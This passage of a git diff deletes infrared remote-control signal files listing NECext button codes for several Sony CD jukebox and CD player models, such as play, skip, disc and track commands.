-name: <<_SEARCH -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 33 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 33 00 00 00 -# -name: >>_SEARCH -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 34 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 39 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 3D 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 3E 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 4A 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 4B 00 00 00 -# -name: BLOCK -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 4C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir deleted file mode 100644 index f229eb59a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 08 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0B 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 15 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 20 00 00 00 -# -name: 10/0 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 20 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 27 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 28 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 2C 00 00 00 -# -name: POWER_ON_(CD-3) -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF_(CD-3) -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 2F 00 00 00 -# -name: <<_SKIP -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 30 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 30 00 00 00 -# -name: >>_SKIP -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 31 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 32 00 00 00 -# -name: <<_SEARCH -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 33 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 33 00 00 00 -# -name: >>_SEARCH -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 34 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 39 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3D 00 00 00 -# -name: DISK_SKIP_- -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3D 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3E 00 00 00 -# -name: DISK_SKIP_+ -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3E 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 4A 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 4B 00 00 00 -# -name: BLOCK -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 4C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir deleted file mode 100644 index 0be68fe3e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir deleted file mode 100644 index 42ac7c291..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir +++ /dev/null @@ -1,986 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TRACK_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: 1/&!? -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: TRACK_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 2/ABC -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: TRACK_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: 3/DEF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: TRACK_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: 4/GHI -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: TRACK_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: 5/JKL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: TRACK_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: 6/MNO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: TRACK_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: 7/PRS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: TRACK_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: 8/TUV -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: TRACK_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: 9/WXY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: CLEAR_PROGRAM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: CLEAR_REPEAT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: TRACK_17 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: 17 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: TRACK_18 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: 18 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: LINE_OUT_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: LINE_LEVEL_OUT_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: LINE_VOL_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: LINE_OUT_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: LINE_LEVEL_OUT_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: LINE_VOL_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 15 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: TRAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: TRACK_19 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: 19 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: SORT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1C 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: CONTINUE_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: SINGLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: PROGRAM_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TRACK_10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: 10/0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: 10/0/QZ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: TRACK_11 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: TRACK_12 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: TRACK_13 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: TRACK_14 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: 14 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: TRACK_15 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: 15 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: TRACK_16 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: 16 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: >20 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: TIME/TEXT/SPACE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: TRACK_20 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: 20 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2A 00 00 00 -# -name: A_-_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: CLEAR_REPEAT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: <<_TRACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: AMS<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: Z_-_TRACK_(_-_) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: >>_TRACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: AMS>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: Z_-_TRACK_(_+_) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: Z_-_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: <<_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: Z_-_FAST_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: <<_SCAN_FAST -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: >>_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: Z_-_FAST_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: >>_SCAN_FAST -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: SHUFFLE_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: INDEX_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 36 00 00 00 -# -name: INDEX_>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 37 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: Z_-_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: Z_-_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: SLOW_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: SLOW_>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: MUSIC_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: DISK_SKIP_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: DISC_SKIP_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: DISK_SKIP_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: DISC_SKIP_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: HIGH-LIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: EXTRA -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: DISC1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: DISC2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: DISC3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: DISC4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: DISC5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 45 00 00 00 -# -name: DISC_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 46 00 00 00 -# -name: DISC_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: DISC_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 48 00 00 00 -# -name: DISC_10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 49 00 00 00 -# -name: DISC/CAPS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: DISC_(CAPS) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: TRACK_(SPACE) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4B 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4B 00 00 00 -# -name: GROUP_(DELETE) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4C 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4C 00 00 00 -# -name: PEAK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 -# -name: HIT_LIST -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5C 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5D 00 00 00 -# -name: FLAT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5E 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 -# -name: FADER/DEL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 -# -name: MEMO_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 69 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 69 00 00 00 -# -name: MEMO_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6B 00 00 00 -# -name: MEGA_NO_DELAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6E 00 00 00 -# -name: MEGA_CONTROL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6F 00 00 00 -# -name: PLAYER_SELECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6F 00 00 00 -# -name: MEGA_X-FADE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 71 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 79 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7B 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7C 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir deleted file mode 100644 index 8281653ae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir +++ /dev/null @@ -1,410 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1/&!? -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 00 00 00 00 -# -name: 2/ABC -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 01 00 00 00 -# -name: 3/DEF -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 02 00 00 00 -# -name: 4/GHI -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 03 00 00 00 -# -name: 5/JKL -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 04 00 00 00 -# -name: 6/MNO -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 05 00 00 00 -# -name: 7/PRS -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 06 00 00 00 -# -name: 8/TUV -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 07 00 00 00 -# -name: 9/WXY -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 08 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 0B 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 0D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 0F 00 00 00 -# -name: LINE_LEVEL_OUT_+ -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 12 00 00 00 -# -name: LINE_LEVEL_OUT_- -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 15 00 00 00 -# -name: CONTINUE_PLAY -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 1D 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM_PLAY -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 1F 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 1F 00 00 00 -# -name: 10/0/QZ -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 20 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 20 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 27 00 00 00 -# -name: TIME/TEXT/SPACE -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 28 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 28 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 2C 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 30 00 00 00 -# -name: <<_TRACK -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 30 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 31 00 00 00 -# -name: >>_TRACK -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 33 00 00 00 -# -name: <<_SCAN -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 33 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 34 00 00 00 -# -name: >>_SCAN -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE_PLAY -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 35 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 39 00 00 00 -# -name: MUSIC_SCAN -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 3C 00 00 00 -# -name: DISK_SKIP_- -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 3D 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 3D 00 00 00 -# -name: DISK_SKIP_+ -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 3E 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 3E 00 00 00 -# -name: HIGH-LIGHT -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 3F 00 00 00 -# -name: EXTRA -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 3F 00 00 00 -# -name: DISC/CAPS -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 4A 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 4A 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 4B 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 4C 00 00 00 -# -name: FADER/DEL -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 5F 00 00 00 -# -name: MEMO_INPUT -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 69 00 00 00 -# -name: MEMO_SCAN -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 6B 00 00 00 -# -name: MEGA_NO_DELAY -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 6E 00 00 00 -# -name: MEGA_CONTROL -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 6F 00 00 00 -# -name: MEGA_X-FADE -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 71 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 79 00 00 00 -# -name: 